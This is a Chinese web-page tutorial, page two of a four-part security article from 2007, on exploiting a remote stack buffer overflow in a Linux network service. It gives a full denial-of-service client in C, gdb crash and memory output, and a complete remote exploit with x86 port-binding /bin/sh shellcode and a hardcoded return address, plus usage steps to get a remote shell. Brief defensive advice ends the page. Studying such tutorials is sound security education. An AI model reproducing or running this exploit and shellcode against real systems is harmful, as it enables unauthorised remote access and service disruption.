首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>本站原创>linux原创>文章内容
unix入侵及防御心得(一)(1)
来源:www.vfocus.net 作者:vitter 发布时间:2007-01-05  

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAA

连接将中断,让我们看看gdb的输出:
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
// Don’t close gdb !!
能够看出 eip 被设到了 0x41414141。0x41 代表一个"A",当我们输入1024个字节时,该程序会试图将字符串name[2048]拷入缓冲[1024]。因此,由于 name[2048] 大于1024字节,name 将会重写缓冲并重写已被存储的 eip,我们的缓冲将会是下列形式:
[xxxxxxxx-name-2048-bytes-xxxxxxxxxx]
[xxxxx buffer-only-1024-bytes xxx] [EIP]
在你重写了整个返回地址后,函数将会跳转到错误的地址 0x41414141,从而产生片断错误。
现在为此程序写一个拒绝服务攻击工具:
--------------------------------dos.c----------------------------------------
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
int main(int argc, char **argv)
{
struct sockaddr_in addr;
struct hostent *host;
char buffer[2048];
int s, i;
if(argc != 3)
{
fprintf(stderr, "usage: %s <host> <port>\n", argv[0]);
exit(0);
}
s = socket(AF_INET, SOCK_STREAM, 0);
if(s == -1)
{
perror("socket() failed\n");
exit(0);
}
host = gethostbyname(argv[1]);
if( host == NULL)
{
herror("gethostbyname() failed");
exit(0);
}
addr.sin_addr = *(struct in_addr*)host->h_addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(atol(argv[2]));
if(connect(s, &addr, sizeof(addr)) == -1)
{
perror("couldn't connect so server\n");
exit(0);
}

/* Not difficult only filling buffer with A’s.... den sending nothing more */

for(i = 0; i < 2048 ; i++)
buffer[i] = 'A';
printf("buffer is: %s\n", buffer);
printf("buffer filled... now sending buffer\n");
send(s, buffer, strlen(buffer), 0);
printf("buffer sent.\n");
close(s);
return 0;
}
-------------------------------------EOF--------------------------------------

三、找到返回地址:

打开gdb寻找 esp:
(gdb) x/200bx $esp-200
0xbffff5cc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5d4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5dc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5e4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5ec: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5f4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5fc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff604: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff60c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff614: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff61c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff624: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff62c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff634: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff63c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff644: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff64c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff654: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff65c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff664: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff66c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff674: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff67c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
---Type <return> to continue, or q <return> to quit---

现在我们已经知道重写了整个缓冲,让我们试试几个地址

四、exploit代码结构

1、 找到 esp,然后找一个能绑定 shell 到端口的 sehllcode.
2、创建一个大于1024字节的缓冲
2、 用 NOP 填滿整个缓冲:
memset(buffer, 0x90, 1064);
3、将 shellcode 拷入缓冲
memcpy(buffer+1001-sizeof(shellcode), shellcode, sizeof(shellcode));
4、在缓冲中消除零字节:
buffer[1000] = 0x90; // 0x90 is the NOP in hexadecimal
5、在缓冲未端拷贝返回地址:
for(i = 1022; i < 1059; i+=4)
{
((int *) &buffer[i]) = RET;
// RET is the returnaddress we want to use... #define in the header
}
6、在准备好的缓冲未端加入一个 \0 零字节:
buffer[1063] = 0x0;
现在可以把它发送给有漏洞机器了。
------------------------------------exploit.c----------------------------------
/* Simple remote exploit, which binds a shell on port 3789
* by triton
*
* After return address was overwritten, you can connect
* with telnet or netcat to the victim host on Port 3789
* After you logged in... there’s nothing, but try to enter "id;" (don’t forget the semicolon)
* So you should get an output, ok you’ve got a shell *g*. Always use:
*
* <command>;
*
* execute.
*/
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
//Portbinding Shellcode
char shellcode[] =
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
//standard offset (probably must be modified)
#define RET 0xbffff5ec
int main(int argc, char *argv[]) {
char buffer[1064];
int s, i, size;
struct sockaddr_in remote;
struct hostent *host;
if(argc != 3) {
printf("Usage: %s target-ip port\n", argv[0]);
return -1;
}
// filling buffer with NOPs
memset(buffer, 0x90, 1064);
//copying shellcode into buffer
memcpy(buffer+1001-sizeof(shellcode) , shellcode, sizeof(shellcode));
// the previous statement causes a unintential Nullbyte at buffer[1000]
buffer[1000] = 0x90;
// Copying the return address multiple times at the end of the buffer...
for(i=1022; i < 1059; i+=4) {
* ((int *) &buffer[i]) = RET;
}
buffer[1063] = 0x0;
//getting hostname
host=gethostbyname(argv[1]);
if (host==NULL)
{
fprintf(stderr, "Unknown Host %s\n",argv[1]);
return -1;
}
// creating socket...
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0)
{
fprintf(stderr, "Error: Socket\n");
return -1;
}
//state Protocolfamily , then converting the hostname or IP address, and getting port number
remote.sin_family = AF_INET;
remote.sin_addr = *((struct in_addr *)host->h_addr);
remote.sin_port = htons(atoi(argv[2]));
// connecting with destination host
if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1)
{
close(s);
fprintf(stderr, "Error: connect\n");
return -1;
}
//sending exploit string
size = send(s, buffer, sizeof(buffer), 0);
if (size==-1)
{
close(s);
fprintf(stderr, "sending data failed\n");
return -1;
}
// closing socket
close(s);
}
---------------------------------------EOF-------------------------------------
五、使用 exploit:
vitter@linux~/ > gcc exploit.c -o exploit
vitter@linux~/ > ./exploit <host> <port>
如果你得到了正确的返回地址,它将管用。
vitter@linux~/ > telnet <host> 3879
id;
uid=500(vitter) gid=500(vitter) groups=500(vitter)
可以看出,我们成功了。

六、取得 root 权限:

vitter@linux~/ > su
password: ******
root@linux~/ > ls -ln vulnerable
-rwxrwxr-x 1 500 500 14106 Jun 18 14:12 vulnerable
root@linux~/ > chown root vulnerable
root@linux~/ > chmod 6755 vulnerable
root@linux~/ > ./vulnerable <port>

七、进入 inetd.conf 中定义的服务

将有漏洞程序拷入 /usr/bin/
root@linux~/ > cp vulnerable /usr/bin/vulnerable
root@linux~/ > vi /etc/services
加入下面的信息:
vulnerable 1526/tcp # defining port for our server program
root@linux~/ > vi /etc/inetd.conf
加入下面的信息:
vulnerable stream tcp nowait root /usr/bin/vulnerable vulnerable 1526
重启 inetd:
root@linux~/ > killall -HUP inetd

八、可能出现的问题:

如果 exploit 无法使用,请考虑返回地址,用gdb进行测试:
vitter@linux~/ > gdb vulnerable
......
(gdb) run <port>

以上代码参考《怎样写远程缓冲区溢出漏洞利用程序》

缓冲区溢出攻击的对策:
加强编程行为的安全性
从开始程序设计就要考虑到安全
考虑用安全的编译器
当用户或其他程序接受输入的时候必须验证参数的有效性。包括对变量的边界检查,特别是环境变量。
使用fget()、strncpy()、strncat()之类的安全例程,并检查每个系统调用的返回值

共4页: 上一页 [1] 2 [3] [4] 下一页
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·OPENVPN安装手册
·openssh记录sftp详细日志,并chr
·ssh-3.2记录sftp日志,并且chroo
·用linux构建仗剑江湖mud游戏服务
·Linux高可用(HA)集群笔记heartbe
·关于日志记录系统设计思想
·unix入侵及防御心得(一)(2)
·linux下的Informix安装配置
·Informix的数据库优化
·Linux下apache运行mysql,cgi,p
·Linux下安装Oracle817完美解决版
·改的一个非GBK的JSP的webshell
  相关文章
·unix入侵及防御心得(一)(2)
·使用rsync从linux到linux或到win
·在VMware 4.5.1下运行Fedora Cor
·Fedora 1升级2.6.5内核
·如何给solaris打补丁
·关于日志记录系统设计思想
·Linux + Win me 2000 xp 用OS Lo
·忘记linux密码怎么办
·用linux构建仗剑江湖mud游戏服务
·OPENVPN安装手册
·Linux高可用(HA)集群笔记heartbe
·lvs+heard负载均衡文档(DR)
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved